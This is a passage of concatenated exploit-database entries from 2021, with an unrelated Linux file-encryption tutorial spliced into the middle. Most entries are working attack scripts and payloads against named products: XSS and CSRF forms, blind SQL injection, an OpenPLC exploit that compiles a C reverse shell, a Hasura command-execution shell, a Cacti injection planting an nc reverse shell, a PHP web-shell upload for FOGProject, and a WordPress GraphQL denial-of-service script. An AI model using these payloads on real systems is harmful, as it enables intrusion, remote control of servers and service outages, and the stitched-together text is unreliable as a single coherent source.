rich telephony services. It offers a wide range of features (e.g. call forwarding, voicemail,
conferencing etc.) that can be configured by end users in the self-care web interface.
For operators, it offers a web-based administrative panel that allows them to configure
subscribers, SIP peerings, billing profiles, and other entities. The administrative web
panel also shows the real-time statistics for the whole system. For tight integration
into existing infrastructures, Sipwise C5 provides a powerful REST API interface.

Desc: The application interface allows users to perform certain actions via HTTP requests
without performing any validity checks to verify the requests. This can be exploited to
perform certain actions with administrative privileges if a logged-in user visits a malicious
web site.

Tested on: Apache/2.2.22 (Debian)
           Apache/2.2.16 (Debian)
           nginx


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2021-5649
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5649.php


13.04.2021

--


<html>
  <body>
    <form action="https://10.0.1.7/call/click2dial" method="POST">
      <input type="hidden" name="d" value="%2B3897031337" />
      <input type="submit" value="Dial and charge!" />
    </form>
  </body>
</html>
            
# Exploit Title: DzzOffice 2.02.1 - 'Multiple' Cross-Site Scripting (XSS)
# Author: @nu11secur1ty
# Testing and Debugging: @nu11secur1ty, g3ck0dr1v3r
# Date: 04/23/2021
# Vendor: http://www.dzzoffice.com/
# Link: https://github.com/zyx0814/dzzoffice
# CVE: CVE-2021-3318

[+] Exploit Source:

#!/usr/bin/python3
# Author: @nu11secur1ty
# CVE-2021-3318

from selenium import webdriver
import time
import os


#enter the link to the website you want to automate login.
website_link="http://localhost/dzzoffice/user.php?mod=login"

#enter your login username
username="admin@dzzoffice.com"

#enter your login password
password="password"

#enter the element for username input field
element_for_username="email"
#enter the element for password input field
element_for_password="password"
#enter the element for submit button
element_for_submit="loginsubmit"

# Dai brauzura aaa ta eba
browser = webdriver.Chrome() #uncomment this line,for chrome users

# Otvarai da ne vlazam s kasata
browser.get((website_link))

# Run...
try:
username_element = browser.find_element_by_name(element_for_username)
username_element.send_keys(username)
password_element  = browser.find_element_by_name(element_for_password)
password_element.send_keys(password)

### Login
signInButton = browser.find_element_by_name(element_for_submit)
signInButton.click()

### Exploit
#time.sleep(3)
element_for_natrutvanie="admin_password"
laina="http://localhost/dzzoffice/admin.php?mod=appmarket&op=cloudappmarket"
browser.get((laina))

### Next level... :)
os.system("python poc_login_1.py")

print("payload is deployed_0...\n")
except Exception:

#### This exception occurs if the element are not found in the webpage.
print("Some error occured :(")

### os.system

#!/usr/bin/python3
# Author: @nu11secur1ty
# CVE-2021-3318

from selenium import webdriver
import time


#enter the link to the website you want to automate login.
website_link="http://localhost/dzzoffice/admin.php?mod=setting"

#enter your login username
username="admin@dzzoffice.com"

#enter your login password
password="password"


#enter the element for username input field
element_for_username="admin_email"

#enter the element for password input field
element_for_password="admin_password"

#enter the element for submit button
element_for_submit="submit"

# Dai brauzura aaa ta eba
browser = webdriver.Chrome() #uncomment this line,for chrome users

# Otvarai da ne vlazam s kasata
browser.get((website_link))

# Run...
try:
username_element = browser.find_element_by_name(element_for_username)
username_element.send_keys(username)
password_element  = browser.find_element_by_name(element_for_password)
password_element.send_keys(password)

### Login
signInButton = browser.find_element_by_name(element_for_submit)
signInButton.click()

### Exploit
time.sleep(3)
element_for_natrutvanie="settingsubmit"
laina="http://localhost/dzzoffice/admin.php?mod=setting"
browser.get((laina))

### Inner text...
browser.execute_script("document.querySelector('[name=\"settingnew[metakeywords]\"]').value = '<script>alert(\"nu11secur1ty_is_here\");</script>'")
browser.execute_script("document.querySelector('[name=\"settingnew[sitebeian]\"]').value = '<script>alert(\"nu11secur1ty_is_here\");</script>'")
browser.execute_script("document.querySelector('[name=\"settingnew[metadescription]\"]').value = '<script>alert(\"nu11secur1ty_is_here\");</script>'")
browser.execute_script("document.querySelector('[name=\"settingnew[statcode]\"]').value = '<script>alert(\"nu11secur1ty_is_here\");</script>'")

time.sleep(5)

# Submit exploit
signInButton = browser.find_element_by_name(element_for_natrutvanie)
signInButton.click()

print("payload is deployed_1...\n")
except Exception:

#### This exception occurs if the element are not found in the webpage.
print("Some error occured :(")
            
# Exploit Title: Sipwise C5 NGCP CSC - 'Multiple' Stored/Reflected Cross-Site Scripting (XSS)
# Date: 13.04.2021
# Exploit Author: LiquidWorm
# Vendor Homepage: https://www.sipwise.com

Sipwise C5 NGCP CSC Multiple Stored/Reflected XSS Vulnerabilities


Vendor: Sipwise GmbH
Product web page: https://www.sipwise.com
Affected version: <=CE_m39.3.1
                  NGCP www_admin version 3.6.7

Summary: Sipwise C5 (also known as NGCP - the Next Generation Communication Platform)
is a SIP-based Open Source Class 5 VoIP soft-switch platform that allows you to provide
rich telephony services. It offers a wide range of features (e.g. call forwarding, voicemail,
conferencing etc.) that can be configured by end users in the self-care web interface.
For operators, it offers a web-based administrative panel that allows them to configure
subscribers, SIP peerings, billing profiles, and other entities. The administrative web
panel also shows the real-time statistics for the whole system. For tight integration
into existing infrastructures, Sipwise C5 provides a powerful REST API interface.

Desc: Sipwise software platform suffers from multiple authenticated stored and reflected
cross-site scripting vulnerabilities when input passed via several parameters to several
scripts is not properly sanitized before being returned to the user. This can be exploited
to execute arbitrary HTML and script code in a user's browser session in context of an
affected site.

Tested on: Apache/2.2.22 (Debian)
           Apache/2.2.16 (Debian)
           nginx


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2021-5648
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5648.php


13.04.2021

--


Stored XSS (POST tsetname):
---------------------------

<html>
  <body>
    <form action="https://10.0.1.7/callforward/time/set/save" method="POST">
      <input type="hidden" name="tsetname" value=""><script>confirm&#40;251&#41;<&#47;script>" />
      <input type="hidden" name="subscriber&#95;id" value="401" />
      <input type="hidden" name="x" value="90027" />
      <input type="hidden" name="y" value="&#45;1" />
      <input type="submit" value="Go for callforward" />
    </form>
  </body>
</html>


Reflected XSS (GET filter):
---------------------------

<html>
  <body>
    <form action="https://10.0.1.7/addressbook" method="GET">
      <input type="hidden" name="filter" value='"><script>confirm(251)</script>' />
      <input type="hidden" name="x" value="0" />
      <input type="hidden" name="y" value="0" />
      <input type="submit" value="Go for addressbook" />
    </form>
  </body>
</html>


Stored XSS (POST firstname, lastname, company):
-----------------------------------------------

<html>
  <body>
    <form action="https://10.0.1.7/addressbook/save" method="POST">
      <input type="hidden" name="firstname" value='"><script>alert(251)</script>' />
      <input type="hidden" name="lastname" value='"><script>alert(251)</script>' />
      <input type="hidden" name="company" value='"><script>alert(251)</script>' />
      <input type="hidden" name="homephonenumber" value="1112223333" />
      <input type="hidden" name="phonenumber" value="3332221111" />
      <input type="hidden" name="mobilenumber" value="" />
      <input type="hidden" name="faxnumber" value="" />
      <input type="hidden" name="email" value="lab%40zeroscience.mk" />
      <input type="hidden" name="homepage" value="" />
      <input type="hidden" name="id" value="" />
      <input type="hidden" name="x" value="89957" />
      <input type="hidden" name="y" value="21" />
      <input type="submit" value="Go for addressbook 2" />
    </form>
  </body>
</html>


Reflected XSS (GET lang):
-------------------------

<html>
  <body>
    <form action="https://10.0.1.7/statistics/versions" method="GET">
      <input type="hidden" name="lang" value="en'-alert(251)-'ZSL" />
      <input type="submit" value="Go for statistics" />
    </form>
  </body>
</html>
            

For security reasons in work and life, some important files are usually encrypted and backed up or encrypted and saved. How to do it in Linux? This article will introduce you to common methods of encrypting files in Linux.Linux下的文件加密

01Use vim/vi encryption

Advantages: After encryption, if you don’t know the password, you won’t see the plain text, including the root user; Disadvantages: It is obvious that others know that the encryption is encrypted, which is easy for others to destroy the encrypted files, including content destruction and deletion;

Vim encryption example

First use vim to create a new file

vim Big cousin.txt Press i to enter the editing mode, press ESC after entering the content, then enter :X (note that it is capitalized X), and press Enter;

At this time, the system prompts you to enter your password, save it twice and exit after g1y5mn2zwa33790.png:wq. Now this file has been encrypted;

Use cat or more to view the file content, and it will be displayed as garbled; use vim/vi to re-edit this file, and it will be prompted to enter the password. If the entered password is incorrect, it will also be displayed as garbled!3xncii4324d3791.png

Similarly, when we use vim to edit the document, we will prompt for a password. Only after entering the correct password can you edit the document.

So, how to remove the encryption of the file? We only need to enter: set key=Enter and save the file!

02Use gzexe encryption

gzexe is an encryption program that comes with the system. It not only encrypts but also compresses files. Advantages: Simple and convenient encryption. Disadvantages: You cannot set your own password, it is easy to crack.

Encryption/Decryption

gzexe 22.txt #Encryption

gzexe -d 22.txt #Decryption cmysyzf20au3792.png

Use the tar command to encrypt, compress and decompress files

This is very simple, similar to adding a password to a compressed package under Windows.

Encryption

tar -czf - filename | openssl des3 -salt -k passwd | dd of=filename.des3 command description:

In the tar -czf - filename command, -zc specifies that the given file is compressed using gzip. If you want to use other compression commands, you can use the corresponding options instead. -f - means to write the created archive file to standard output. The tar command can treat - as a file name and perform some special processing. It will be explained in detail later. filename is a packaged and compressed file name, which can provide multiple file names or directory names. The openssl des3 -salt -k passwd command specifies encryption using the des3 algorithm, and -k passwd specifies encryption and encryption, and you can modify passwd to other passwords. The dd of=filename.des3 command specifies that the encrypted file name is filename.des3, which can be modified to other file names.

Encryption Example

The following command encrypts and compresses the filename file (22.txt) to generate a bbskali.des3 encrypted compressed file, 666666 is the encrypted password

tar -zcf - 22.txt |openssl des3 -salt -k 666666 | dd of=22.txt.des3 0rktwww5pfd3793.png

Decryption

dd if=22.txt.des3 |openssl des3 -d -k 666666 | tar zxf - dd if=22.txt.des3 The command specifies reading the content of the 22.txt.des3 file. The openssl des3 -d -k 666666 command means decryption using the des3 algorithm.

The content after decryption is the archive file content generated by the previous tar command, which will be written to the standard output and passed to the standard input of the subsequent tar command through a pipeline. tar zxf - The command indicates that the archive file contents to be extracted are read from standard input, and the extracted files will be written to the local area.

03 ZIP encryption

Compared with tar, zip encryption is very simple.

Use the command zip -e filename.zip filename to prompt to enter the password, enter the password twice. This file is encrypted.

zip -e 22.txt.zip 22.txt q2zrdjy2p5x3794.png

Decompression

After executing the command, you will be prompted to enter your password.

unzip 22.txt.zip

Summary

File encryption is an indispensable part of our work. The encryption methods and methods used by unused tools have their own advantages. The best thing for you is!

# Exploit Title: OpenPLC 3 - Remote Code Execution (Authenticated)
# Date: 25/04/2021
# Exploit Author: Fellipe Oliveira
# Vendor Homepage: https://www.openplcproject.com/
# Software Link: https://github.com/thiagoralves/OpenPLC_v3
# Version: OpenPLC v3
# Tested on: Ubuntu 16.04,Debian 9,Debian 10 Buster

#/usr/bin/python3

import requests
import sys
import time
import optparse
import re

parser = optparse.OptionParser()
parser.add_option('-u', '--url', action="store", dest="url", help="Base target uri (ex. http://target-uri:8080)")
parser.add_option('-l', '--user', action="store", dest="user", help="User credential to login")
parser.add_option('-p', '--passw', action="store", dest="passw", help="Pass credential to login")
parser.add_option('-i', '--rip', action="store", dest="rip", help="IP for Reverse Connection")
parser.add_option('-r', '--rport', action="store", dest="rport", help="Port for Reverse Connection")

options, args = parser.parse_args()
if not options.url:
    print('[+] Remote Code Execution on OpenPLC_v3 WebServer')
    print('[+] Specify an url target')
    print("[+] Example usage: exploit.py -u http://target-uri:8080 -l admin -p admin -i 192.168.1.54 -r 4444")
    exit()

host = options.url
login = options.url + '/login' 
upload_program = options.url + '/programs'
compile_program = options.url + '/compile-program?file=681871.st' 
run_plc_server = options.url + '/start_plc'
user = options.user
password = options.passw
rev_ip = options.rip
rev_port = options.rport
x = requests.Session()

def auth():
    print('[+] Remote Code Execution on OpenPLC_v3 WebServer')
    time.sleep(1)
    print('[+] Checking if host '+host+' is Up...')
    host_up = x.get(host)
    try:
        if host_up.status_code == 200:
            print('[+] Host Up! ...')
    except:
        print('[+] This host seems to be down :( ')
        sys.exit(0)

    print('[+] Trying to authenticate with credentials '+user+':'+password+'') 
    time.sleep(1)   
    submit = {
        'username': user,
        'password': password
    }
    x.post(login, data=submit)
    response = x.get(upload_program)
            
    if len(response.text) > 30000 and response.status_code == 200:
        print('[+] Login success!')
        time.sleep(1)
    else:
        print('[x] Login failed :(')
        sys.exit(0)  

def injection():
    print('[+] PLC program uploading... ')
    upload_url = host + "/upload-program" 
    upload_cookies = {"session": ".eJw9z7FuwjAUheFXqTx3CE5YInVI5RQR6V4rlSPrekEFXIKJ0yiASi7i3Zt26HamT-e_i83n6M-tyC_j1T-LzXEv8rt42opcIEOCCtgFysiWKZgic-otkK2XLr53zhQTylpiOC2cKTPkYt7NDSMlJJtv4NcO1Zq1wQhMqbYk9YokMSWgDgnK6qRXVevsbPC-1bZqicsJw2F2YeksTWiqANwkNFsQXdSKUlB16gIskMsbhF9_9yIe8_fBj_Gj9_3lv-Z69uNfkvgafD90O_H4ARVeT-s.YGvgPw.qwEcF3rMliGcTgQ4zI4RInBZrqE"}
    upload_headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Content-Type": "multipart/form-data; boundary=---------------------------210749863411176965311768214500", "Origin": host, "Connection": "close", "Referer": host + "/programs", "Upgrade-Insecure-Requests": "1"} 
    upload_data = "-----------------------------210749863411176965311768214500\r\nContent-Disposition: form-data; name=\"file\"; filename=\"program.st\"\r\nContent-Type: application/vnd.sailingtracker.track\r\n\r\nPROGRAM prog0\n  VAR\n    var_in : BOOL;\n    var_out : BOOL;\n  END_VAR\n\n  var_out := var_in;\nEND_PROGRAM\n\n\nCONFIGURATION Config0\n\n  RESOURCE Res0 ON PLC\n    TASK Main(INTERVAL := T#50ms,PRIORITY := 0);\n    PROGRAM Inst0 WITH Main : prog0;\n  END_RESOURCE\nEND_CONFIGURATION\n\r\n-----------------------------210749863411176965311768214500\r\nContent-Disposition: form-data; name=\"submit\"\r\n\r\nUpload Program\r\n-----------------------------210749863411176965311768214500--\r\n"
    upload = x.post(upload_url, headers=upload_headers, cookies=upload_cookies, data=upload_data)

    act_url = host + "/upload-program-action"
    act_headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Content-Type": "multipart/form-data; boundary=---------------------------374516738927889180582770224000", "Origin": host, "Connection": "close", "Referer": host + "/upload-program", "Upgrade-Insecure-Requests": "1"}
    act_data = "-----------------------------374516738927889180582770224000\r\nContent-Disposition: form-data; name=\"prog_name\"\r\n\r\nprogram.st\r\n-----------------------------374516738927889180582770224000\r\nContent-Disposition: form-data; name=\"prog_descr\"\r\n\r\n\r\n-----------------------------374516738927889180582770224000\r\nContent-Disposition: form-data; name=\"prog_file\"\r\n\r\n681871.st\r\n-----------------------------374516738927889180582770224000\r\nContent-Disposition: form-data; name=\"epoch_time\"\r\n\r\n1617682656\r\n-----------------------------374516738927889180582770224000--\r\n"
    upload_act = x.post(act_url, headers=act_headers, data=act_data)
    time.sleep(2)

def connection():
    print('[+] Attempt to Code injection...')
    inject_url = host + "/hardware"
    inject_dash = host + "/dashboard"
    inject_cookies = {"session": ".eJw9z7FuwjAUheFXqTx3CE5YInVI5RQR6V4rlSPrekEFXIKJ0yiASi7i3Zt26HamT-e_i83n6M-tyC_j1T-LzXEv8rt42opcIEOCCtgFysiWKZgic-otkK2XLr53zhQTylpiOC2cKTPkYt7NDSMlJJtv4NcO1Zq1wQhMqbYk9YokMSWgDgnK6qRXVevsbPC-1bZqicsJw2F2YeksTWiqANwkNFsQXdSKUlB16gIskMsbhF9_9yIe8_fBj_Gj9_3lv-Z69uNfkvgafD90O_H4ARVeT-s.YGvyFA.2NQ7ZYcNZ74ci2miLkefHCai2Fk"}
    inject_headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Content-Type": "multipart/form-data; boundary=---------------------------289530314119386812901408558722", "Origin": host, "Connection": "close", "Referer": host + "/hardware", "Upgrade-Insecure-Requests": "1"}
    inject_data = "-----------------------------289530314119386812901408558722\r\nContent-Disposition: form-data; name=\"hardware_layer\"\r\n\r\nblank_linux\r\n-----------------------------289530314119386812901408558722\r\nContent-Disposition: form-data; name=\"custom_layer_code\"\r\n\r\n#include \"ladder.h\"\r\n#include <stdio.h>\r\n#include <sys/socket.h>\r\n#include <sys/types.h>\r\n#include <stdlib.h>\r\n#include <unistd.h>\r\n#include <netinet/in.h>\r\n#include <arpa/inet.h>\r\n\r\n\r\n//-----------------------------------------------------------------------------\r\n\r\n//-----------------------------------------------------------------------------\r\nint ignored_bool_inputs[] = {-1};\r\nint ignored_bool_outputs[] = {-1};\r\nint ignored_int_inputs[] = {-1};\r\nint ignored_int_outputs[] = {-1};\r\n\r\n//-----------------------------------------------------------------------------\r\n\r\n//-----------------------------------------------------------------------------\r\nvoid initCustomLayer()\r\n{\r\n   \r\n    \r\n    \r\n}\r\n\r\n\r\nvoid updateCustomIn()\r\n{\r\n\r\n}\r\n\r\n\r\nvoid updateCustomOut()\r\n{\r\n    int port = "+rev_port+";\r\n    struct sockaddr_in revsockaddr;\r\n\r\n    int sockt = socket(AF_INET, SOCK_STREAM, 0);\r\n    revsockaddr.sin_family = AF_INET;       \r\n    revsockaddr.sin_port = htons(port);\r\n    revsockaddr.sin_addr.s_addr = inet_addr(\""+rev_ip+"\");\r\n\r\n    connect(sockt, (struct sockaddr *) &revsockaddr, \r\n    sizeof(revsockaddr));\r\n    dup2(sockt, 0);\r\n    dup2(sockt, 1);\r\n    dup2(sockt, 2);\r\n\r\n    char * const argv[] = {\"/bin/sh\", NULL};\r\n    execve(\"/bin/sh\", argv, NULL);\r\n\r\n    return 0;  \r\n    \r\n}\r\n\r\n\r\n\r\n\r\n\r\n\r\n-----------------------------289530314119386812901408558722--\r\n"
    inject = x.post(inject_url, headers=inject_headers, cookies=inject_cookies, data=inject_data)
    time.sleep(3)
    comp = x.get(compile_program)
    time.sleep(6)
    x.get(inject_dash)
    time.sleep(3)
    print('[+] Spawning Reverse Shell...')
    start = x.get(run_plc_server)
    time.sleep(1)
    if start.status_code == 200:
        print('[+] Reverse connection receveid!') 
        sys.exit(0)
    else:
        print('[+] Failed to receive connection :(')
        sys.exit(0)

auth()
injection()
connection()
            
# Exploit Title: Hasura GraphQL 1.3.3 - Remote Code Execution
# Software: Hasura GraphQL
# Software Link: https://github.com/hasura/graphql-engine
# Version: 1.3.3
# Exploit Author: Dolev Farhi
# Date: 4/23/2021
# Tested on: Ubuntu

import requests
import sys

HASURA_SCHEME = 'http'
HASURA_HOST = '192.34.57.144'
HASURA_PORT = 80

print('Start typing shell commands...')

while True:
  cmd = input('cmd $> ')
  data =  { "type":"bulk",
            "args":[
              {
                "type":"run_sql",
                "args":{
                  "sql":"SET LOCAL statement_timeout = 10000;","cascade":False,"read_only":False}
              },
              {
                "type":"run_sql",
                "args":{
                  "sql":"DROP TABLE IF EXISTS cmd_exec;\nCREATE TABLE cmd_exec(cmd_output text);\nCOPY cmd_exec FROM PROGRAM '" + cmd + "';\nSELECT * FROM cmd_exec;","cascade":False,"read_only":False}
              }
            ]
           }
  endpoint = '{}://{}:{}/v1/query'.format(HASURA_SCHEME, HASURA_HOST, HASURA_PORT)
  r = requests.post(endpoint, json=data)
  if r.ok:
    try:
      for i in r.json()[1]['result']:
        print(''.join(i))
    except:
      print(r.json())
            
# Exploit Title: Montiorr 1.7.6m - Persistent Cross-Site Scripting
# Date: 25/4/2021
# Exploit Author: Ahmad Shakla
# Software Link: https://github.com/Monitorr/Monitorr
# Tested on: Kali GNU/Linux 2020.2
# Detailed Bug Description : https://arabcyberclub.blogspot.com/2021/04/monitor-176m-file-upload-to-xss.html

An attacker can preform an XSS attack via image upload

Steps :

1)Create a payload with the following format : 
><img src=x onerror=alert("XSS")>.png

2) Install the database by going to the following link :
https://monitorr.robyns-petshop.thm/assets/config/_installation/vendor/_install.php

3)Register for a new account on the server by going to the following link :
https://monitorr.robyns-petshop.thm/assets/config/_installation/vendor/login.php?action=register

4)Login with your credentials on the following link :
https://monitorr.robyns-petshop.thm/assets/config/_installation/vendor/login.php

5)Go to the following link and upload the payload :
https://monitorr.robyns-petshop.thm/settings.php#services-configuration
            
# Exploit Title: Kimai 1.14 - CSV Injection
# Date: 26/04/2021
# Exploit Author: Mohammed Aloraimi
# Vendor Homepage: https://www.kimai.org/
# Software Link: https://github.com/kevinpapst/kimai2
# Version: 1.14 <https://github.com/kevinpapst/kimai2/releases/tag/1.14>
# Payload:  @SUM(1+9)*cmd|' /C calc'!A0
# Tested on: Win10x64
# Proof Of Concept:
CSV Injection (aka Excel Macro Injection or Formula Injection) exists in
creating new timesheet in Kimai. By filling the Description field with malicious
payload, it will be mistreated while exporting to a CSV file.

To exploit this vulnerability:
1- Login as user.
2- Create new timesheet.
3- Fill the description with the malicious payload.
4- Save the timesheet.
5- Export it via CSV.
6- Open the CSV file, allow all popups and our payload is executed(calculator is opened).
            
# Exploit Title: SEO Panel 4.8.0 - 'order_col' Blind SQL Injection (2)
# Author: nu11secur1ty
# Testing and Debugging: nu11secur1ty
# Date: 04/25/2021
# Vendor: https://www.seopanel.org/
# Link: https://www.seopanel.org/spdownload/4.8.0
# CVE: CVE-2021-28419

[+] Exploit Source:

#!/usr/bin/python3
# Author: @nu11secur1ty
# CVE-2021-28419

from selenium import webdriver
import time


#enter the link to the website you want to automate login.
website_link="http://192.168.1.3/seopanel/login.php"

#enter your login username
username="spadmin"

#enter your login password
password="spadmin"

#enter the element for username input field
element_for_username="userName"

#enter the element for password input field
element_for_password="password"

#enter the element for submit button
element_for_submit="login"


browser = webdriver.Chrome()
browser.get((website_link))

try:
username_element = browser.find_element_by_name(element_for_username)
username_element.send_keys(username)
password_element  = browser.find_element_by_name(element_for_password)
password_element.send_keys(password)
signInButton = browser.find_element_by_name(element_for_submit)
signInButton.click()

# Exploit
browser.get(("
http://192.168.1.3/seopanel/archive.php?from_time=2021-04-25&order_col=(SELECT
7397 FROM
(SELECT(SLEEP(15)))nu11secur1ty)&order_val=DESC&report_type=website-search-reports&search_name=&sec=viewWebsiteSearchSummary&to_time=2021-04-25&website_id=1"))

print("payload is deployed MySQL is not responding correctly...\n")

except Exception:
#### This exception occurs if the element are not found in the webpage.
print("Some error occured :(")
            
# Exploit Title: Cacti 1.2.12 - 'filter' SQL Injection / Remote Code Execution
# Date: 04/28/2021
# Exploit Author: Leonardo Paiva
# Vendor Homepage: https://www.cacti.net/
# Software Link: https://www.cacti.net/downloads/cacti-1.2.12.tar.gz
# Version: 1.2.12
# Tested on: Ubuntu 20.04
# CVE : CVE-2020-14295
# Credits: @M4yFly (https://twitter.com/M4yFly)
# References:
# https://github.commandcom/Cacti/cacti/issues/3622
# https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-14295

#!/usr/bin/python3

import argparse
import requests
import sys
import urllib.parse
from bs4 import BeautifulSoup

# proxies = {'http': 'http://127.0.0.1:8080'}


def login(url, username, password, session):
    print("[+] Connecting to the server...")
    get_token_request = session.get(url + "/cacti/index.php", timeout=5) #, proxies=proxies)

    print("[+] Retrieving CSRF token...")
    html_content = get_token_request.text
    soup = BeautifulSoup(html_content, 'html.parser')

    csrf_token = soup.find_all('input')[0].get('value').split(';')[0]

    if csrf_token:
        print(f"[+] Got CSRF token: {csrf_token}")
        print("[+] Trying to log in...")

        data = {
            '__csrf_magic': csrf_token,
            'action': 'login',
            'login_username': username,
            'login_password': password
        }

        login_request = session.post(url + "/cacti/index.php", data=data) #, proxies=proxies)
        if "Invalid User Name/Password Please Retype" in login_request.text:
            print("[-] Unable to log in. Check your credentials")
            sys.exit()
        else:
            print("[+] Successfully logged in!")
    else:
        print("[-] Unable to retrieve CSRF token!")
        sys.exit()


def exploit(lhost, lport, session):
    rshell = urllib.parse.quote(f"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {lhost} {lport} >/tmp/f")
    payload = f"')+UNION+SELECT+1,username,password,4,5,6,7+from+user_auth;update+settings+set+value='{rshell};'+where+name='path_php_binary';--+-"

    exploit_request = session.get(url + f"/cacti/color.php?action=export&header=false&filter=1{payload}") #, proxies=proxies)

    print("\n[+] SQL Injection:")
    print(exploit_request.text)

    try:
        session.get(url + "/cacti/host.php?action=reindex", timeout=1) #, proxies=proxies)
    except Exception:
        pass

    print("[+] Check your nc listener!")

if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='[*] Cacti 1.2.12 - SQL Injection / Remote Code Execution')

    parser.add_argument('-t', metavar='<target/host URL>', help='target/host URL, example: http://192.168.15.58', required=True)
    parser.add_argument('-u', metavar='<user>', help='user to log in', required=True)
    parser.add_argument('-p', metavar='<password>', help="user's password", required=True)
    parser.add_argument('--lhost', metavar='<lhost>', help='your IP address', required=True)
    parser.add_argument('--lport', metavar='<lport>', help='your listening port', required=True)
    args = parser.parse_args()

    url = args.t
    username = args.u
    password = args.p
    lhost = args.lhost
    lport = args.lport

    session = requests.Session()

    login(url, username, password, session)
    exploit(lhost, lport, session)
            
# Exploit Title: Kirby CMS 3.5.3.1 - 'file' Cross-Site Scripting (XSS)
# Date: 21-04-2021
# Exploit Author: Sreenath Raghunathan
# Vendor Homepage: https://getkirby.com/
# Software Link: https://github.com/getkirby/kirby
# Version: 3.5.3.1(REQUIRED)
# CVE : CVE-2021-29460

POST /api/users/<userid>/avatar HTTP/1.1
Host: <host>
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:87.0)
Gecko/20100101 Firefox/87.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-CSRF: <redacted>
Content-Type: multipart/form-data;
boundary=---------------------------286121627839893676321700902916
Content-Length: 563

Connection: close
Cookie:
<redacted>



-----------------------------286121627839893676321700902916
Content-Disposition: form-data; name="file"; filename="svgxss.svg"
Content-Type: image/svg+xml

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">

<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
  <polygon id="triangle" points="0,0 0,500 500,0" fill="#009900"
stroke="#004400"/>
  "><script>alert(1)</script>
</svg>
-----------------------------286121627839893676321700902916--
            
# Exploit Title: WordPress Plugin WPGraphQL 1.3.5 - Denial of Service 
# Author: Dolev Farhi
# Date: 2021-04-12
# Vendor Homepage: https://www.wpgraphql.com/
# Version: 1.3.5 
# Tested on: Ubuntu


"""
  This attack uses duplication of fields amplified by GraphQL batched queries, resulting in server OOM and MySQL connection errors.
"""

import sys
import requests


def usage():
  print('* WordPress GraphQL 1.3.5 Denial of Service *')
  print('python {} <wordpress_url> <number_of_field_duplications> <number_of_chained_queries>'.format(sys.argv[0]))
  print('python {} http://site.com 10000 100'.format(sys.argv[0]))
  sys.exit(1)

if len(sys.argv) < 4:
  print('Missing arguments!')
  usage()

def wpgql_exists():
  try:
    r = requests.post(WORDPRESS_URL, json='x')
    if 'GraphQL' in r.json()['errors'][0]['message']:
      return True
  except:
    pass
  return False

# This PoC assumes graphql is located at index.php?graphql
WORDPRESS_URL = sys.argv[1] + '/index.php?graphql'
FORCE_MULTIPLIER = int(sys.argv[2])
CHAINED_REQUESTS = int(sys.argv[3])

if wpgql_exists is False:
  print('Could not identify GraphQL running at "/index.php?graphql"')
  sys.exit(1)

queries = []

payload = 'content \n comments { \n nodes { \n content } }' * FORCE_MULTIPLIER
query = {'query':'query { \n posts { \n nodes { \n ' + payload + '} } }'}

for _ in range(0, CHAINED_REQUESTS):
  queries.append(query)

r = requests.post(WORDPRESS_URL, json=queries)
print('Time took: {} seconds '.format(r.elapsed.total_seconds()))
print('Response:', r.json())
            
# Exploit Title: FOGProject 1.5.9 - File Upload RCE (Authenticated)
# Date: 2021-04-28
# Exploit Author: sml@lacashita.com
# Vendor Homepage: https://fogproject.org
# Software Link: https://github.com/FOGProject/fogproject/archive/1.5.9.zip
# Tested on: Debian 10

On the Attacker Machine:

1) Create an empty 10Mb file.
dd if=/dev/zero of=myshell bs=10485760 count=1

2) Add your PHP code to the end of the file created in the step 1.
echo '<?php $cmd=$_GET["cmd"]; system($cmd); ?>' >> myshell

3) Put the file "myshell" accessible through HTTP.
$ cp myshell /var/www/html

4) Encode the URL to get "myshell" file to base64 (Replacing Attacker IP).
$ echo "http://ATTACKER_IP/myshell" | base64
aHR0cDovLzE5Mi4xNjguMS4xMDIvbXlzaGVsbAo=

5) Visit 
http://VICTIM_IP/fog/management/index.php?node=about&sub=kernel&file=<YOUR_MYSHELL_URL_HERE>=&arch=arm64
Example:
http://192.168.1.120/fog/management/index.php?node=about&sub=kernel&file=aHR0cDovLzE5Mi4xNjguMS4xMDIvbXlzaGVsbAo=&arch=arm64

6) Appears a textbox, change the Kernel Name (bzImage32) to myshell.php 
and click on Install.

7) Visit http://VICTIM_IP/fog/service/ipxe/myshell.php?cmd=hostname
            
# Exploit Title: NodeBB Plugin Emoji 3.2.1 - Arbitrary File Write
# Date: 2021-02-01
# Exploit Author: 1F98D
# Software Link: https://nodebb.org/
# Version: Emoji for NodeBB <= v3.2.1
# Tested on: Ubuntu 18.04 (x86)
# Software Link: https://github.com/NodeBB/nodebb-plugin-emoji
#
# The Emoji for NodeBB which is installed by default contains an
# arbitrary file write vulnerability to insecurely handled user controlled
# input.
#
# This exploit requires administrative access to the NodeBB instance in order
# to access the emoji upload API.
# 
#!/usr/bin/python3
import requests
import sys
import re
